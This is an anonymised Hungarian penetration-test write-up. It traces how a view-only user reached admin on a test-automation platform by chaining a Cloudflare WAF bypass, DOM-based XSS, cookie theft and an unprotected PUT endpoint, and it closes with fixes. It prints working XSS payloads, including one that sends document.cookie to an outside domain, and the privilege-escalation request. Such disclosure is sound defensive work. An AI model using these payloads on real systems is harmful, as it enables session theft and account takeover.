Egy, a gyakorlatban is előfordult eset, amikor a rétegek nem védenek egymás hiányosságai ellen. Valós penetrációs teszt finding anonimizált leírása.

Volt egy pillanat a tesztelés során, amikor meg kellett állnunk és visszaolvasnunk, amit éppen csináltunk.

Egy felhasználóval dolgoztunk, akinek a legalacsonyabb jogosultsági szintje volt az egész rendszerben — csak megtekinthetett dolgokat, semmi mást. Mégis, négy lépésen keresztül, jelszó nélkül, phishing nélkül, brute-force nélkül, eljutottunk odáig, hogy egy új admin fiókot hoztunk létre a rendszerben.

Ez ennek a négy lépésnek a története.

A tetthely

Az érintett alkalmazás egy tesztautomatizálási platform volt, több szerepkörrel: Viewer (megtekintés), Tester (futtatás) és Admin (teljes irányítás). A rendszer Cloudflare mögött futott — ez sokakban azt az érzést keltheti, hogy „na, oda aztán nem lehet bejutni”. Az authentikáció három párhuzamos módon működött egyszerre: cookie-kon keresztül, a böngésző LocalStorage tárolójában, és Basic Auth hitelesítéssel. Ez a részlet később kulcsszerepet játszott.

Viewer fiókkal kezdtük.

1. lépés: Átjutás a tűzfalon

Felfigyeltünk arra, hogy az egyik beviteli mező — a tesztkonfiguráció „Root suite name” mezője — blacklist alapon szűri a beírt tartalmat mentés előtt. Egy példával élve: a rosszindulatú kódnak értelmezett <script> kiszűrésre kerül, az <img src> viszont problémamentes HTML-kódnak tűnik, teljes létjogosultsággal. A klasszikus XSS payload részlete, az <img src=a tag így tovább jutott a DOM-ba, és értelmezésre is került.

A tárolt payload a Console Output nézetben, a fejlesztői eszközökben a session cookie HttpOnly flag nélkül
A payload bekerült a DOM-ba, a session cookie-n nincs HttpOnly flag

Ezt hívják HTML injectionnek, JavaScript-kód futtatása nélkül. A modern böngészőkben a kihasználása az alábbiakból állhat:

  • a felhasználó által látott tartalmak elrejtése, kitakarása,
  • nagy és rikító, de többségében statikus phishing linkek bevitele.

Egy állhatatos pentester nem szeret itt megállni: JavaScript-kód futtatása volna a következő cél. Csakhogy az alkalmazás Cloudflare WAF (Web Application Firewall) mögött fut, ami az első néhány próbálkozásunkat blokkolta.

Aztán kipróbáltunk valamit: egyetlen & karaktert tettünk a payload megfelelő helyére.

<img src=& onerror=confirm(document.cookie)>

A Cloudflare átengedte. A legvalószínűbb magyarázat: a WAF HTML karakterentitás kezdeteként értelmezte a & jelet – egy teljesen ártalmatlan kódolási mintaként, amit nincs oka blokkolni. A böngésző viszont hibás képcímkét látott, és pontosan azt tette, amit ilyen esetben tenni szokott: lefuttatta a hibakezelőt, vagyis az onerror részt. Ez tett minket később képessé JavaScript-kód futtatására a felhasználó böngészőjében.

Ezen a ponton a rosszindulatú kód bekerült az adatbázisba, és várt.

2. lépés: A kód végrehajtása — a keresési trükk

Az alkalmazásnak volt egy második védelmi rétege is: egy tartalomszűrő, amely a mentett adatok megjelenítése előtt kiszűrte a veszélyes elemeket. Ez természetesen el is kapta a payloadot még futtatás előtt: ha egy admin megnyitotta a Console Output nézetet, a szűrő renderelés előtt eltávolította a veszélyes részt.

Aztán megnéztük, hogyan működik a keresés.

Amikor a felhasználó beír valamit a keresőmezőbe, az alkalmazás nem előre renderelt szöveget tölt be — hanem JavaScript alapon, karakterenként, dinamikusan építi fel a megjelenítendő tartalmat. A második védelmi rétegként működő szűrő csak az oldal betöltésekor, a teljes, összerakott szövegen fut le. A csavar: ha a teljes veszélyes kifejezésre kerestünk rá, a szűrő felismerte és blokkolta. Ha viszont csak egy olyan karakterre kerestünk, amelyre a kereső a payload egészével válaszolt (pl. a vagy <), a JavaScript elkezdett karakterenként összerakni mindent — és mire a teljes payload felépült a böngésző memóriájában, a szűrőnek már nem volt esélye közbeavatkozni. A kód lefutott, és a HttpOnly flag hiánya miatt az oldalon egy felugró ablakban megjelent az azonosításra használt session cookie.

Felugró ablak a cookie-k tartalmával a Console Output keresése közben
Egyetlen „a” karakterre keresve lefut a payload, és megjelennek a cookie-k

DOM-alapú XSS esetén a sérülékenység nem a szerver válaszában érkezik: a kártékony kódot a kliens, azaz a böngésző rakja össze.

3. lépés: Az admin token ellopása

Ha már kódfuttatásunk volt az admin böngészőjében, a következő lépés egyenes út volt — de csak azért, mert hiányzott egy egyszerű konfigurációs beállítás.

Az alkalmazás authentikációs cookie-ján nem volt HttpOnly flag. Ez egy egyszerű böngészőutasítás: ne engedd, hogy JavaScript olvassa ezt a cookie-t. Enélkül bármilyen kód, ami az oldalon fut, szabadon hozzáférhet.

A történetben plusz nehezítés lehetett volna a mező maximális hossza. A korábban említett szűrés miatt magán a payloadon nehézkes lett volna változtatni, viszont bele kellett férnünk a karakterlimitbe: a gyakorlatban mindössze 4 karakter hosszú lehetett az URL. A megoldás egy 1 karakteres domainnév és egy 2 karakteres top-level domain lett – ilyen rövid domaint a gyakorlatban is lehet regisztrálni.

A következő payload lefutáskor csendesen elküldte az admin session tokenjét egy általunk kontrollált külső szerverre:

<img src=& onerror=src='//a.to/?'+document.cookie>
A böngésző kimenő GET kérései a külső szerver felé a fejlesztői eszközök Network fülén
Az áldozat böngészője csendben küldi a kéréseket a támadó szerverére

Az admin böngészője egy csendes GET kérést indított a szerverünk felé, a JWT tokennel az URL-ben. A szerverünkre érkező kéréseket könnyen monitorozhattuk, benne a document.cookie értékével. Megkaptuk a kulcsokat.

4. lépés: Új admin fiók — egyetlen API-hívással

Azt vártuk, hogy itt megszakad a lánc. Érzékeny adminisztrátori műveleteknél — például egy privilegizált felhasználó létrehozásánál — általában több ellenőrzés is szükséges: CSRF token, másodlagos megerősítés, vagy legalább annak vizsgálata, hogy a kérés egy teljes, hitelesített admin sessionből érkezik-e.

Erre a műveletre létre is hoztak egy védett funkciót, amelyhez érvényes CSRF token szükséges. Az API azonban eredetileg támogatott egy másik hívást is, amelyet a fejlesztők a védett funkció bevezetése után nem tiltottak le. Ezt a felhasználókezeléshez használt PUT végpontot a tesztelés korábbi szakaszában már megtaláltuk. Az XSS sérülékenység felfedezése előtt alacsonyabb szintű biztonsági konfigurációs hiányosságként kezeltük, ezután viszont láncolhattuk az injection hibával, ami kritikussá emelte a súlyát. Nemes egyszerűséggel küldtünk egy kérést a lopott JWT tokennel, a kérés törzsében is_superuser: true értékkel.

A szerver 200 OK-val válaszolt.

PUT kérés is_superuser: true értékkel és a szerver 200 OK válasza
Egyetlen PUT kérés a lopott tokennel – a szerver 200 OK-val válaszol
PUT /api/v2/users/9 HTTP/2
Host: [anonimizálva]
Cookie: Token=<lopott_JWT>

{"username":"attacker@example.com","is_superuser":true}

Az új admin fiók létezett. A lánc teljes volt.

Mitől volt ez lehetséges?

Egyetlen hiba sem lett volna önmagában kritikus. A WAF-megkerülés csak egy szövegbejegyzést tárol. A DOM-szűrő rése önmagában nem ad semmit tárolt payload nélkül. A hiányzó HttpOnly flag alacsony szintű konfigurációs kockázat, de nem exploit. A hiányos CSRF-ellenőrzés finding, de nem teljes kompromittálás.

A kombináció tette azzá — és az a tény, hogy minden réteg a másikra bízta a saját résének lefedését.

Ez az egyik legtöbbször látott minta penetrációs teszteken: papíron többrétegű védelem, a valóságban egymással nem kommunikáló, egymás hiányosságait nem kompenzáló kontrollok. Egy türelmes támadó mind a négyen átsétálhat.

Amit javasoltunk

  • HttpOnly és Secure flag az összes authentikációs cookie-ra. Ez az egy változtatás a 3. lépésnél megtörte volna a láncot.
  • Az érintett tokenek rotálása és a kompromittált sessionök azonnali érvénytelenítése.
  • Szerveroldali output encoding minden felhasználói inputra renderelés előtt — nem csak kliensoldali szűrés.
  • CSRF-validáció minden érzékeny API-végponton, különösen ahol felhasználói szerepköröket vagy jogosultságokat módosítanak. A JWT token önmagában nem lehet elegendő adminisztrátori műveletekhez.
  • A keresési és megjelenítési logika felülvizsgálata DOM-alapú injection kockázatokra. Dinamikusan épített DOM esetén az összefűzés után kell sanitizálni — erre a DOMPurify könyvtár megfelelő megoldás lehet.
  • Az authentikációs mechanizmusok konszolidálása. Éles környezetben session tokenekhez csak cookie-t érdemes használni, megfelelő flagekkel — a LocalStorage és a Basic Auth erre nem alkalmas.
  • Szigorú Content Security Policy: az inline eseménykezelők tiltása és a külső domainek korlátozása a kódfuttatást és az exfiltrációt is megakadályozta volna.

A tanulság

Egy Viewer fiókból Admin fiók lett. Nem loptunk el jelszót. Nem phishingeltünk senkit. Nem törtünk fel semmit brute-force-szal.

Négy kis félrekonfiguráció eredménye egy sikeres, kritikus támadási lánc.

Ha a WAF-ra számítasz, hogy megfog mindent — a sanitizerre, hogy megfogja, amit a WAF kienged — és az API-ra, hogy megfogja, amit a sanitizer elszalaszt —, lehet, hogy csak egyetlen & karakter választ el a teljes kompromittálástól.

Ez a cikk egy valós penetrációs teszt finding alapján készült. Az érintett rendszer és szervezet minden azonosító adata eltávolításra került.